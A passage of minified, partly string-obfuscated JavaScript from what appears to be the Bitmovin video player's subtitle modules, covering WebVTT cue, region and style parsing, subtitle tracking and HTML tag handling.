v=s[r[53]](r[150]),h=parseInt(v[0],10),l=parseInt(v[1],10);isFinite(h)&&h>0&&(i[r[148]]=h);isFinite(l)&&l>0&&(i[r[147]]=l)}return e[r[40]](function(n){var u=n[r[135]](r[137])||n[r[135]](r[151]);u&&t[r[39]](u,rt(n,i,p))}),t};t[r[34]]=function(n){var t=n[r[22]](r[152]);return!t||t[r[91]][r[56]]<1?[]:b(t)[r[33]](function(n){var i=document[r[154]](r[153]),u=f[r[37]](n),e=function(n,t){for(var f=[],i=n,u=function(n){return n[r[96]]||n[r[161]]};i&&u(i)&&u(i)!==t;)f[r[173]](u(i)),i=u(i);return f}(n,t)[r[156]](function(n,t){return n[r[101]](t[r[155]](!1))},i);return i[r[157]]&&k(i[r[157]]),e[r[101]](n),{end:u[r[49]](r[107]),dur:u[r[49]](r[108]),begin:u[r[49]](r[109]),element:i[r[157]]}})}},14507:function(n,t,i){function l(n){var t=0,i=0,f=0,e=1;if(y[r[182]](n)){if(n[r[56]]===p)return t=parseInt(n[r[61]](1,2),u),i=parseInt(n[r[61]](2,3),u),f=parseInt(n[r[61]](3,4),u),e=parseInt(n[r[61]](4),u),r[185][r[14]](t,r[184])[r[14]](i,r[184])[r[14]](f,r[184])[r[14]](e,r[183]);if(n[r[56]]===w)return t=parseInt(n[r[61]](1,3),u),i=parseInt(n[r[61]](3,5),u),f=parseInt(n[r[61]](5,7),u),e=parseInt(n[r[61]](7),u),r[185][r[14]](t,r[184])[r[14]](i,r[184])[r[14]](f,r[184])[r[14]](e,r[183])}return n}function s(n,t){var i=t[r[49]](n);return i instanceof Map?a(i):i?r[45][r[14]](n,r[52])[r[14]](i):r[45]}function a(n){var t=v(n)[r[94]](function(n){return[r[67],r[69]][r[186]](n)<0})[r[33]](function(t){return r[45][r[14]](t,r[52])[r[14]](n[r[49]](t))})[r[121]](r[131]);return r[45]===t?t:r[45][r[14]](t,r[131])}function b(n){return n[r[18]](/(default)|(monospace(Sans)?Serif)/g,r[188])[r[18]](/(sansSerif)|(proportional(Sans)?Serif)/g,r[187])}function k(n){return r[189]===n?r[190]:r[191]}function h(n){var i=new Map,u=f[r[37]](n);return t[r[130]][r[40]](function(n){f[r[35]](u,i,n,function(n){return n})}),t[r[129]][r[40]](function(n){f[r[35]](u,i,n,l)}),f[r[35]](u,i,r[192],b),f[r[35]](u,i,r[193],k),i}function d(n,t){var i=r[45],u=n[r[135]](r[166]);return u&&(i+=u[r[53]](r[150])[r[33]](function(n){return s(n,t)})[r[121]](r[131])[r[18]](/;;+/g,r[131])),i+a(h(n))}function v(n){var t=[];return n[r[40]](function(n,i){return t[r[90]](i)}),t}var c;Object[r[2]](t,r[1],{value:!0});t[r[122]]=t[r[174]]=t[r[127]]=t[r[128]]=t[r[26]]=t[r[30]]=t[r[24]]=t[r[28]]=t[r[175]]=t[r[125]]=t[r[129]]=t[r[130]]=void 0;var e,f=i(39112),o=i(68784),y=new RegExp(r[176]),u=16,p=5,w=9;t[r[130]]=[r[202],r[203],r[204],r[205],r[206],r[207],r[208],r[209],r[210],r[211]];t[r[129]]=[r[212],r[213]],function(n){n[r[214]]=r[81]}(e||(t[r[125]]=e={}));t[r[175]]=((c={})[e[r[214]]]={prefix:r[215],cssProperty:r[216],values:{before:r[217],center:r[218],after:r[219]}},c);t[r[28]]=function n(t,i,u,f){void 0===f&&(f=t[r[27]]);var e=d(f,i);e[r[56]]>0&&f[r[177]](r[166],e);o[r[42]](f[r[91]])[r[40]](function(r){return n(t,i,u,r)}),function(n,t,i){var o=t[r[135]](r[194]),f=o?i[r[43]](function(n){return n[r[151]]===o}):null,u,e;f&&(u=document[r[154]](r[195]),e=r[199][r[14]](f[r[197]],r[198])[r[14]](f[r[196]]),u[r[177]](r[166],r[200]),u[r[177]](r[201],e),n[r[116]]=e,t[r[101]](u))}(t,f,u)};t[r[24]]=function(n){var t=new Map,i=n[r[22]](r[178]);return i?(o[r[42]](i[r[143]](r[179]))[r[40]](function(n){var i=n[r[135]](r[137])||n[r[135]](r[151]);i&&t[r[39]](i,h(n))}),t):t};t[r[30]]=function(n,t){if(t){var i=n[r[27]][r[135]](r[166]);n[r[27]][r[177]](r[166],i?i+t:t)}};t[r[26]]=function(n,t){var i=n[r[22]](r[152]);if(!i)return r[45];var u=i[r[135]](r[166]),f=h(i),e=u?s(u,t):r[45];return v(f)[r[156]](function(n,t){return r[45][r[14]](n)[r[14]](t,r[52])[r[14]](f[r[49]](t),r[131])},e)};t[r[128]]=function(n,t){return n===o[r[64]][r[82]]?r[180][r[14]](n,r[52])[r[14]](t,r[131]):r[45][r[14]](n,r[52])[r[14]](t,r[131])};t[r[127]]=function(n,i){var o=Object[r[126]](e)[r[43]](function(t){return t===n}),u,f;return o?(u=t[r[175]][o],f=u[r[126]][i],u&&f?u[r[141]]+r[45][r[14]](u[r[181]],r[52])[r[14]](f,r[131]):r[45]):r[45]};t[r[174]]=l;t[r[122]]=s}},function(n){return n(n[r[165]]=89978)}])};r[221]==typeof t&&"object"==r[221]?n[r[222]]=f():"function"==r[223]&&i.amdD[r[224]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[221]==typeof t?t[r[225]]=f():(u[r[226]]=u[r[226]]||{},u[r[226]][r[227]]=u[r[226]][r[227]]||{},u[r[226]][r[227]][r[225]]=f())},913:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=1744,r=[],i=0;i<u;i++)r[i]='eew iysinC%n%toMideoPrrO%sAa%twdyrsgper%nytStyedipiV%ooediDpflfesToidtlattbtesgnee_piMraele%PteaWneVruaerwm%%tnotsr%e%rirnletndoctolotseo%d%spaCptthfrt %eutdaritiefennlea%seeo%eosecrlribaPLu%[%"iMsilp%mte%pSgnrse%loes%ptuiap-iristlt%_lpn%calaroanrlkgeitrali%RolitAsthbpogEceemnl%lCnintteegysehetniVoeeA:%ttotieaartnS__epoinCth%agra%o%geuossealsserlersaurB%xtrgcbAssnWtieCuSner%%ut>sncgsgnethichgettehpnyudefnetfnpr%rtnhtlltsuln%leefcr%efheP-scrptillfi%epsC%nSr%StburuNrgc%y%e%ptuuaMlsOednee%Latt%irt%e<Vms%tpr%nu%yr%iea%e%rt_kun#opi%_steofietrrtaeen%%ceyut%e%%eSifw%CpllSd]eeoWtyma%trassecdwmrSt_tvprs%D%oacpegt%rskepL%xnp%%a%epAu:aar du%as-ot%leeela%eun%shu%P-sen%aV%.xsreeychrgiePtha%leexembAsataitrfaC%eesmIpCetreucitti%%crpeoupnacl%ob%scet%iT:ee%li%wy%trtf%tagsg_ntP%;Pen:%%enohNoerunmoxteP%cast%paNaf%c%el"e%adn%bta%pvuesfstl%oxpcetAed%tuis<opod%seestelieluluunnac%ciPtlieani%t%osfrpb%b-et%%Helgcblat%ugmal%uyirkP%oca_%ecoSrsci%eyen_x%nt%ifecseClitos%pninrnnC%lg%cia%oVPtj.n%fnndohat/tpyiitpa%nes=s%tprbl%%itbs %0emessclce%%%urcieltteCeslretept%oebynaarryeorernyntloeOa/ibaoc%ad%%eieMCnpiSerivOalsoseeusaeitedormsst%l%i%r_reonrtNbmrdriityolgnapuknyrot%eselt%omidinnadnhlb%t-gatpivnso%suoCitiDnane%ssxe%ut%tgtc%sDm%%tbje%Tl%veuoezpeteerthxstoixneCyiipcgrtes%t%tioitPAeig%%lpnw-l%Dyyoaus\ntieoscesoisdfgSonc=pi%ruOdTr%n1o%icWAtiaitl%ewto%olb%attrwsbar%etueerouroyssRlbfgisiopetsiraisstrnsepvsirnrimre%eerrruipuVfchYoton%t%HlngTstyafoeTrdAgeteteiulgoaV%lilr%esntsr%e%noieetglmlage%YttfeB%%fnTa%lt%rtnnr%i>er&egterodplrXettg.%%yatanr%tvieao%v%trctdsce%ee#Tpnet%taXroytpddsurlteneeya%et%%eiehtlybb%hlmt‎id%oitsaeIeNgrip‏HT%ScnSan%rtnsscTrc%itdei%ubg%mMtutormsVognpAulNhh%kt%tmev_erpragere%betidnhew>rDa%el%cttsocetbHf%Ecm%tlsyw<tpumu%Rtdmterutvr'.charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,2877517);r[0];u=self;f=function(){return(self[r[185]]=self[r[185]]||[])[r[32]]([[831],{57011:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0;var u=i(16368),f=i(33605),e=i(43985);t[r[3]]={name:u[r[5]][r[4]],module:function(){return{WebVttParser:e[r[6]],extractVttProperties:f[r[7]]}},dependencies:[u[r[5]][r[8]]]};t[r[9]]=t[r[3]]},43985:function(n,t,i){function s(n,t,i,e,o){var h,c,s={i:null,start:null,end:null,text:null,html:null,vtt:u[r[76]](),offset:null,updates:[]},l;return s[r[64]]=t,l=u[r[65]](i),s[r[46]]=n[r[46]]+e[r[63]],s[r[47]]=n[r[47]]+e[r[63]],s[r[66]]=(null===(h=n[r[51]])||void 0===h?void 0:h[r[67]])||(null===(c=n[r[51]])||void 0===c?void 0:c[r[68]])||r[21],s[r[51]]=u[r[69]](n[r[51]]),s[r[70]]=f({},o),0!==e[r[70]]&&(s[r[71]]=e[r[70]]),l&&(s[r[72]]=l),s[r[73]]=n[r[75]][r[20]](function(n){return{updateTime:n[r[74]]+e[r[63]],html:u[r[69]](n[r[51]])}}),s}function h(n,t,i){return(t?o(t,r[79]):r[21])+n+(i?o(i,r[80]):r[21])}function o(n,t){return r[84][r[82]](t,r[83])[r[82]](n,r[81])}var f=this&&this[r[10]]||function(){return f=Object[r[11]]||function(n){for(var u,i,t=1,f=arguments[r[12]];t<f;t++)for(i in u=arguments[t])Object[r[15]][r[14]][r[13]](u,i)&&(n[i]=u[i]);return n},f[r[16]](this,arguments)},u,e;Object[r[2]](t,r[1],{value:!0});t[r[6]]=void 0;u=i(53166);e=function(){function n(){}return n[r[15]][r[17]]=function(n,t){void 0===t&&(t=0);var i=(n=n[r[23]](/\r\n/gm,r[18]))[r[19]](/\n{2,}|^[WEBVTT\n+]?X-TIMESTAMP-MAP=.*\n+|^WEBVTT\n+/m)[r[22]](function(n){return null!=n&&r[21]!==n})[r[20]](function(n){return n[r[19]](r[18])}),u=this[r[24]](n),f=this[r[25]](i),e={vtt:u,base:t};return this[r[26]](i,f,e)},n[r[15]][r[24]]=function(n){var t=/X-TIMESTAMP-MAP=(.*)\n/[r[27]](n),f,e;if(null==(null==t?void 0:t[1]))return 0;var o=t[0],i=/LOCAL:((?:(\d{1,}):)?(\d{2}):(\d{2})\.(\d{3}))/m[r[27]](o),s=/MPEGTS:(\d+)/m[r[27]](o),h=0;return(null==i?void 0:i[1])&&(f=u[r[28]](i[1]),null!=f&&(h=f)),e=0,null!=s&&(e=Number(s[1])),e/9e4-h},n[r[15]][r[25]]=function(n){for(var t,o,i=[],f=[],e=0,s=n;e<s[r[12]];e++)t=s[e],o=t[0],/^STYLE/[r[30]](o[r[29]]())&&f[r[32]][r[16]](f,u[r[31]](t)),/^region:?/i[r[30]](o[r[29]]())&&i[r[32]][r[16]](i,u[r[33]](t));return{regions:i,styles:f}},n[r[15]][r[34]]=function(n){var t=/^NOTE/[r[30]](n),i=/^STYLE/[r[30]](n),u=/^region:?/i[r[30]](n);return!t&&!i&&!u},n[r[15]][r[35]]=function(n){return null!=n&&r[21]!==n&&!!n[r[37]](r[36])},n[r[15]][r[38]]=function(n){var i={},t=[];return n[r[42]](function(n){null==n[r[39]]&&(i=f(f({},i),n[r[40]]));var u=t[r[41]](function(t){return t[r[39]]===n[r[39]]});-1!==u?t[u]={identifier:n[r[39]],style:f(f({},t[u][r[40]]),n[r[40]])}:t[r[32]](n)}),u[r[44]]()[r[42]](function(n){t[r[43]](function(t){return t[r[39]]===n[r[39]]})||t[r[32]](n)}),{globalStyle:i,contentStyles:t}},n[r[15]][r[45]]=function(n,t,i){var v=/(<\d+:\d{2}:\d{2}[.,]\d{3}>)/g,e=[],y=function(n){var t=n[0][r[19]](/[ \t]+-->[ \t]+/);return{start:u[r[28]](t[0]),end:u[r[28]](t[1])}}(n),o=y[r[46]],f=y[r[47]],nt,tt,a;if(null!==o&&null!==f){for(var p=function(n){return n[r[78]](1)[r[77]](r[18])[r[29]]()}(n),s=p[r[19]](v),w=r[21],b=p[r[23]](v,r[21]),c=o;s[r[12]]>0;){var l=s[r[48]](),k=s[r[48]](),d=k?u[r[28]](k):f,g=null!=d?d:f;c!==g&&(nt=h(l,w,b=b[r[49]](l[r[12]])),w+=l,tt=u[r[50]](nt,i,t),e[r[32]]({updateTime:c,html:tt}),c=g)}if(a=e[r[48]](),a)return{start:o,end:f,html:a[r[51]],subCues:e}}},n[r[15]][r[52]]=function(n,t,i){var u=n[r[22]](function(n){return n[r[39]]===r[54]+i})[r[53]](function(n,t){return f(f({},n),t[r[40]])},{});return f(f({},t),u)},n[r[15]][r[26]]=function(n,t,i){var f=this,e=[],o=0,l=t[r[55]],a=t[r[56]],h=this[r[38]](a),v=h[r[57]],c=h[r[58]];return n[r[22]](function(n){return f[r[34]](n[0])})[r[42]](function(n){var t=void 0,h,a,y,p;n[0][r[37]](r[36])||(t=n[0][r[29]](),n[r[59]](0,1));h=f[r[60]](t,o);(o=h,f[r[35]](n[0]))&&(a=u[r[61]](n[0],l),a[r[62]]=t,y=f[r[45]](n,c,i[r[63]]),void 0!==y&&(p=s(y,h,f[r[52]](c,v,t),i,a),e[r[32]](p)))}),e},n[r[15]][r[60]]=function(n,t){var i=Number(n);return null==n||isNaN(i)?t+1:i},n}();t[r[6]]=e;t[r[9]]=e},35913:function(n,t,i){function u(n){var t=function(n){var t,i,u;return n?(t=/^([^<]*)(<[^>]+>?)?/[r[27]](n),!t)?null:(i=t[1],u=t[2],i||u):null}(n[r[102]]);return null==t?n[r[103]]:(n[r[102]]=n[r[102]][r[104]](t[r[12]]),w(t,n))}function p(n,t){var u,s,h,c,a,b,p;n=e(e([],n,!0),l[r[105]],!0);var w=r[21],v=r[21],i={};return(t[r[106]]&&r[107]!==t[r[106]]&&(i=null!==(s=null===(u=n[r[43]](function(n){return n[r[39]]===t[r[106]]}))||void 0===u?void 0:u[r[40]])&&void 0!==s?s:i),t[r[108]])&&(b=t[r[108]][r[104]](1)[r[19]](r[109])[r[20]](function(n){return y[n]||r[109][r[82]](n)}),p=[],b[r[42]](function(t){var i,u=null===(i=n[r[43]](function(n){return n[r[39]]===t}))||void 0===i?void 0:i[r[40]];u&&p[r[32]](u)}),i=p[r[53]](function(n,t){return f(f({},n),t)},{}),w=t[r[108]][r[19]](r[109])[r[77]](r[110])[r[29]]()),r[107]===t[r[106]]&&t[r[111]]&&(v=t[r[111]][r[104]](1),i=null!==(c=null===(h=n[r[43]](function(n){return n[r[39]]===r[21][r[82]](t[r[106]],r[113])[r[82]](v,r[112])}))||void 0===h?void 0:h[r[40]])&&void 0!==c?c:i),{className:w,title:v,styleString:null!==(a=o[r[65]](i))&&void 0!==a?a:r[21]}}function w(n,t){var e,s,i;if(r[87]!==n[0])return t[r[119]][r[118]](window[r[101]][r[117]](b(n))),u(t);if(r[120]===n[1])return function(n,t){return t[r[12]]&&t[t[r[12]]-1]===n[r[104]](c)[r[23]](r[83],r[21])}(n,t[r[121]])&&(t[r[121]][r[122]](),t[r[119]]=t[r[119]][r[123]]),u(t);if(e=o[r[28]](n[r[104]](1,n[r[12]]-c)),null!=e)return s=window[r[101]][r[125]](r[124][r[82]](e+t[r[71]])),t[r[119]][r[118]](s),u(t);if(i=/^<([^.\s/0-9>]+)(\.[^\s\\>]+)?([^>\\]+)?(\\?)>?$/[r[27]](n),!i)return u(t);var a=i[0],h=i[1],v=i[2],l=i[3],f=d(h,l);return f&&k(t[r[119]],f)?(function(n,t,i){var u=p(t,i),f=u[r[114]],e=u[r[96]],o=u[r[115]];e&&(n[r[96]]=e);f&&(n[r[114]]=f);o&&n[r[116]](r[40],o)}(f,t[r[56]],{type:h,contents:v,annotation:l}),t[r[121]][r[32]](a[1]),t[r[119]][r[118]](f),t[r[119]]=f,u(t)):u(t)}function b(n){return Object[r[127]](s)[r[42]](function(t){n=n[r[23]](new RegExp(t,r[126]),s[t])}),n}function k(n,t){return!h[t[r[128]]]||h[t[r[128]]]===n[r[128]]}function d(n,t){var f=a[n],i,u;return f?(i=window[r[101]][r[100]](f),u=v[n],u&&t&&(i[u]=t[r[29]]()),i):null}var f=this&&this[r[10]]||function(){return f=Object[r[11]]||function(n){for(var u,i,t=1,f=arguments[r[12]];t<f;t++)for(i in u=arguments[t])Object[r[15]][r[14]][r[13]](u,i)&&(n[i]=u[i]);return n},f[r[16]](this,arguments)},e=this&&this[r[85]]||function(n,t,i){if(i||2===arguments[r[12]])for(var f,u=0,e=t[r[12]];u<e;u++)!f&&u in t||(f||(f=Array[r[15]][r[78]][r[13]](t,0,u)),f[u]=t[u]);return n[r[82]](f||Array[r[15]][r[78]][r[13]](t))};Object[r[2]](t,r[1],{value:!0});t[r[50]]=void 0;var l=i(17699),o=i(33605),s={"&amp;":r[86],"&lt;":r[87],"&gt;":r[83],"&lrm;":r[88],"&rlm;":r[89],"&nbsp;":r[90]},a={c:r[91],i:r[64],b:r[92],u:r[93],ruby:r[94],rt:r[95],v:r[91],lang:r[91]},v={v:r[96],lang:r[97]},h={rt:r[94]},y={"cue-future":r[98],"cue-past":r[99]},c=2;t[r[50]]=function(n,t,i){var f=window[r[101]][r[100]](r[91]);return u({input:n,root:f,current:f,tagStack:[],offset:t,styles:i})}},17699:function(n,t){var u=this&&this[r[85]]||function(n,t,i){if(i||2===arguments[r[12]])for(var f,u=0,e=t[r[12]];u<e;u++)!f&&u in t||(f||(f=Array[r[15]][r[78]][r[13]](t,0,u)),f[u]=t[u]);return n[r[82]](f||Array[r[15]][r[78]][r[13]](t))},i;Object[r[2]](t,r[1],{value:!0});t[r[105]]=void 0;i=[r[129],r[130],r[131],r[132],r[133],r[134],r[135],r[136]];t[r[105]]=u(u([],i[r[20]](function(n){return{identifier:r[109][r[82]](n),style:{color:n}}}),!0),i[r[20]](function(n){return{identifier:r[137][r[82]](n),style:{background:n}}}),!0)},86535:function(n,t,i){function f(n,t,i){var f=n[0],u=n[1];switch(f){case r[140]:!function(n,t,i){var u=t[r[43]](function(t){return t[r[62]]===n});null!=u&&(i[r[140]]=u)}(u,t,i);break;case r[141]:s(u,i);break;case r[142]:h(u,i);break;case r[143]:c(u,i);break;case r[144]:l(u,i);break;case r[145]:a(u,i)}}function s(n,t){var i=u[r[146]](/^(lr|rl)$/[r[27]](n))[1];null!=i&&(t[r[141]]=i)}function h(n,t){var i=u[r[146]](/^(start|middle|center|end|left|right)$/[r[27]](n))[1];null!=i&&(t[r[142]]=i);t[r[147]]=e(void 0,t)}function c(n,t){var i=u[r[146]](/^([\d.]+)%$/[r[27]](n))[1];null!=i&&(t[r[143]]=Number(i))}function e(n,t){if(null!=n)return n;switch(t[r[142]]){case r[46]:case r[149]:return r[148];case r[47]:case r[151]:return r[150];default:return r[152]}}function l(n,t){var f=u[r[146]](/^([\d.]+|auto)%?(?:,(line-left|line-right|center))?$/[r[27]](n)),i=f[1],o=f[2];r[153]===i?t[r[144]]=r[153]:void 0!==i&&(t[r[144]]=Number(i));t[r[147]]=e(o,t)}function a(n,t){var i=u[r[146]](/^(-?[\d.]+|auto)(%)?(?:,(start|end|center|auto))?$/[r[27]](n)),f=i[1],s=i[2],e=i[3],h=r[154]===s;r[153]===f?t[r[145]]=r[153]:h?t[r[145]]=r[21][r[82]](f,r[154]):null!=n&&(t[r[145]]=Number(f));null!=e&&(t[r[155]]=e);t[r[156]]=o[r[157]](t[r[145]])}Object[r[2]](t,r[1],{value:!0});t[r[138]]=t[r[61]]=void 0;var o=i(70016),u=i(33605);t[r[61]]=function(n,t){var e=n[r[19]](/\s/),i=u[r[76]]();return e[r[42]](function(n){f(n[r[19]](r[139]),t,i)}),function(n){var t=u[r[76]]();null!=n[r[140]]&&(n[r[141]]!==t[r[141]]||n[r[143]]!==t[r[143]]||n[r[145]]!==t[r[145]])&&delete n[r[140]]}(i),i};t[r[138]]=f},33605:function(n,t,i){function u(){return{vertical:r[21],align:r[152],size:100,line:r[153],lineAlign:r[46],position:r[153],positionAlign:r[152],snapToLines:!1}}function f(){return{id:null,width:100,lines:3,regionAnchorX:0,regionAnchorY:100,viewportAnchorX:0,viewportAnchorY:100,scroll:r[21]}}Object[r[2]](t,r[1],{value:!0});t[r[69]]=t[r[65]]=t[r[146]]=t[r[28]]=t[r[158]]=t[r[7]]=t[r[76]]=void 0;var e=i(70016),o=i(91520),s=i(16368),h=i(86535);t[r[76]]=u;t[r[7]]=function(n){var t=u(),i=f();return Object[r[127]](t)[r[42]](function(u){return h[r[138]](function(n,t,i){var u=[n,t[n]?r[21][r[82]](t[n]):i[n]],f=r[145]===n;return(r[144]===n&&e[r[157]](t[n])||f&&!1===t[r[156]])&&(u[1]+=r[154]),u}(u,n,t),[i],t)}),t};t[r[158]]=f;t[r[28]]=function(n){var t=/(?:(\d{1,}):)?(\d{2}):(\d{2})[.,](\d{3})/g[r[27]](n);if(null==t)return null;var i=t[1],u=t[2],f=t[3],e=t[4];return Number(e)/1e3+Number(f)+60*Number(u)+3600*(Number(i)||0)};t[r[146]]=function(n){return Array[r[159]](n)?n:[]};t[r[65]]=function(n){return n?Object[r[161]](n)[r[20]](function(n){return r[21][r[82]](n[0],r[139])[r[82]](n[1],r[160])})[r[77]](r[21]):null};t[r[69]]=function(n){return o[r[166]][r[165]](s[r[5]][r[8]])[r[164]][r[163]]((null==n?void 0:n[r[162]])||r[21])}},98855:function(n,t,i){function e(n){return f(n[r[78]](1),r[139])}function o(n){return f(n[r[19]](/[ \t]+/)[r[78]](1),r[167])}function f(n,t){var i=u[r[158]]();return n[r[42]](function(n){!function(n,t){var f=n[0],i=n[1];switch(f){case r[62]:!function(n,t){null!=n&&(t[r[62]]=n)}(i,t);break;case r[168]:!function(n,t){var i=u[r[146]](/^(\d{1,2}|100)%$/[r[27]](n))[1];null!=i&&(t[r[168]]=Number(i))}(i,t);break;case r[169]:!function(n,t){var i=u[r[146]](/^(\d+)$/[r[27]](n))[1];null!=i&&(t[r[169]]=Number(i))}(i,t);break;case r[170]:!function(n,t){var i=u[r[146]](/^(\d{1,2}|100)%,(\d{1,2}|100)%$/[r[27]](n)),f=i[1],e=i[2];null!=f&&(t[r[173]]=Number(f));null!=e&&(t[r[174]]=Number(e))}(i,t);break;case r[171]:!function(n,t){var i=u[r[146]](/^(\d{1,2}|100)%,(\d{1,2}|100)%$/[r[27]](n)),f=i[1],e=i[2];null!=f&&(t[r[175]]=Number(f));null!=e&&(t[r[176]]=Number(e))}(i,t);break;case r[172]:!function(n,t){var i=u[r[146]](/^(up)$/[r[27]](n))[1];null!=i&&(t[r[172]]=i)}(i,t)}}(n[r[19]](t),i)}),i}Object[r[2]](t,r[1],{value:!0});t[r[33]]=void 0;var u=i(33605);t[r[33]]=function(n){for(var t,i=[],u=0,f=n;u<f[r[12]];u++){if(t=f[u],t=t[r[29]](),/^REGION$/i[r[30]](t)){i[r[32]](e(n));break}/^Region:/i[r[30]](t)&&i[r[32]](o(t))}return i}},10517:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[44]]=t[r[31]]=void 0;t[r[31]]=function(n){var u=[],o=/::cue(\((.+)\))?(?= |{)/,s=/([a-zA-Z0-9-]+):(.+?(?=;|}|$))/g,f=o[r[27]](n[1]),t,l,a;if(!f)return u;for(t=1;t<n[r[12]];t++){for(var h=o[r[27]](n[t]),c=null!==h,v=(f=c?h:f)[2],e={},i=s[r[27]](n[t]);null!==i;)l=i[1],a=i[2],e[l]=a[r[29]](),i=s[r[27]](n[t]);(c||Object[r[127]](e)[r[12]]>0)&&u[r[32]]({identifier:v,style:e})}return u};t[r[44]]=function(){return[{identifier:r[98],style:{visibility:r[177]}}]}},53166:function(n,t,i){var f=this&&this[r[178]]||(Object[r[179]]?function(n,t,i,u){void 0===u&&(u=i);var f=Object[r[180]](t,i);(!f||(r[165]in f?!t[r[1]]:f[r[181]]||f[r[182]]))&&(f={enumerable:!0,get:function(){return t[i]}});Object[r[2]](n,u,f)}:function(n,t,i,r){void 0===r&&(r=i);n[r]=t[i]}),u=this&&this[r[183]]||function(n,t){for(var i in n)r[9]===i||Object[r[15]][r[14]][r[13]](t,i)||f(t,n,i)};Object[r[2]](t,r[1],{value:!0});u(i(98855),t);u(i(35913),t);u(i(86535),t);u(i(33605),t);u(i(10517),t)}},function(n){return n(n[r[184]]=57011)}])};r[186]==typeof t&&"object"==r[186]?n[r[187]]=f():"function"==r[188]&&i.amdD[r[189]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[186]==typeof t?t[r[190]]=f():(u[r[191]]=u[r[191]]||{},u[r[191]][r[192]]=u[r[191]][r[192]]||{},u[r[191]][r[192]][r[190]]=f())},242:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[482],{86685:function(n,t){Object.defineProperty(t,"__esModule",{value:!0})},29495:function(n,t){function r(n,t){return Object.keys(t).find(function(i){var r=t[i].getSubtitle(),o=r.id,u=r.lang,s=r.isFragmented,h=r.kind,c=o===n.id,l=!n.isFragmented||s===n.isFragmented,f=u===n.lang,e;return n.isPreferred&&n.lang&&(f=u.includes(n.lang)||n.lang.includes(u)),e=h===n.kind&&f&&l,c||e})}var i=this&&this.__assign||function(){return i=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},i.apply(this,arguments)},u;Object.defineProperty(t,"__esModule",{value:!0});t.EnabledSubtitlesTracker=void 0;u=function(){function n(){this.enabledSubtitles={};this.idCounter=0}return n.prototype.addSubtitle=function(n){this.removeSubtitle(n.id);this.enabledSubtitles[this.getNextId()]=i({isFragmented:!1},n)},n.prototype.removeSubtitle=function(n){var t=this;Object.keys(this.enabledSubtitles).forEach(function(i){t.enabledSubtitles[i].id===n&&delete t.enabledSubtitles[i]})},n.prototype.shouldEnableSubtitle=function(n,t){var i=this,r=Object.keys(this.enabledSubtitles).find(function(r){return i.getTargetSubtitleIdForPeriod(i.enabledSubtitles[r],t)===n.id});return Boolean(r)},n.prototype.getTargetSubtitleIdForPeriod=function(n,t){var e=n.id,i=n.kind,u=n.lang,f=n.isFragmented;return r({lang:u,kind:i,isFragmented:f,id:e},t)||r({lang:u,kind:i,isFragmented:f},t)||r({lang:u,kind:i},t)},n.prototype.getNextId=function(){return this.idCounter++,this.idCounter},n.prototype.dispose=function(){this.enabledSubtitles={};this.idCounter=0},n}();t.EnabledSubtitlesTracker=u},59272:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.ForcedSubtitleController=void 0;var r=i(70412),u=function(){function n(){this.subtitleHandlers={}}return n.prototype.addSubtitleHandler=function(n){this.subtitleHandlers[n.getSubtitle().id]=n},n.prototype.deactivate=function(){return this.hasForcedSubtitles()?Promise.all(Object.values(this.subtitleHandlers).map(function(n){return n.deactivate()})).then(function(){}):Promise.resolve()},n.prototype.activate=function(n){var t=this;return void 0===n&&(n=this.currentLang),this.hasForcedSubtitles()?(this.currentLang=n,this.deactivate().then(function(){var n=Object.values(t.subtitleHandlers).find(function(n){return r.isEqualIsoLanguage(n.getSubtitle().lang,t.currentLang)});if((n=null!=n?n:Object.values(t.subtitleHandlers)[0])&&!n.isActive())return n.activate().catch(function(){})})):Promise.resolve()},n.prototype.dispose=function(){Object.values(this.subtitleHandlers).forEach(function(n){return n.dispose()});this.subtitleHandlers=null},n.prototype.hasForcedSubtitles=function(){return Object.keys(this.subtitleHandlers).length>0},n}();t.ForcedSubtitleController=u},64397:function(n,t){function i(n){return n.replace(/<[^>]*>?/g,"")}function r(n){return n.replace(/<br\s*\/?>/g,"\n")}Object.defineProperty(t,"__esModule",{value:!0});t.stripAwayHtmlBreakPoints=t.replaceHtmlBreakPointsWithNewLine=t.prepareHtml=t.stripHtmlTags=t.htmlToText=void 0;t.htmlToText=function(n){return i(r(n))};t.stripHtmlTags=i;t.prepareHtml=function(n){return n.replace(/(\r\n|\r|\n)/g,"<br />")};t.replaceHtmlBreakPointsWithNewLine=r;t.stripAwayHtmlBreakPoints=function(n){return n.replace(/<br\s*\/?>/g,"")}},70412:function(n,t){Object.defineProperty(t,"__esModule",{value:!0});t.isEqualIsoLanguage=void 0;t.isEqualIsoLanguage=function(n,t){var i,r;if(void 0===t)return!1;if(null===(i=window.Intl)||void 0===i?void 0:i.DisplayNames){r=new window.Intl.DisplayNames(["en"],{type:"language"});try{return r.of(n.split("-")[0])===r.of(t.split("-")[0])}catch(n){}}return n===t}},66774:function(n,t,i){function s(n,t){return"wvtt"===t?function(n){for(var i=n.data.buffer,o=n.data.byteOffset,t=0;t<n.data.byteLength;){var u=n.data.getUint32(t),f=o+t,e=r.ArrayHelper.convertBufferSourceToUTF8(new Uint8Array(i,f+4,4));if("payl"===e)return r.ArrayHelper.convertBufferSourceToUTF8(new Uint8Array(i,f+8,u-8));t+="vttc"!==e?u:8}}(n):"stpp"===t?function(n){var t=new Uint8Array(n.data.buffer,n.data.byteOffset,n.data.byteLength);return r.ArrayHelper.convertBufferSourceToUTF8(t,o.TextSegmentAnalyzer.detectEncoding(n.data))}(n):void 0}Object.defineProperty(t,"__esModule",{value:!0});t.parseMP4WrappedSubtitles=void 0;var 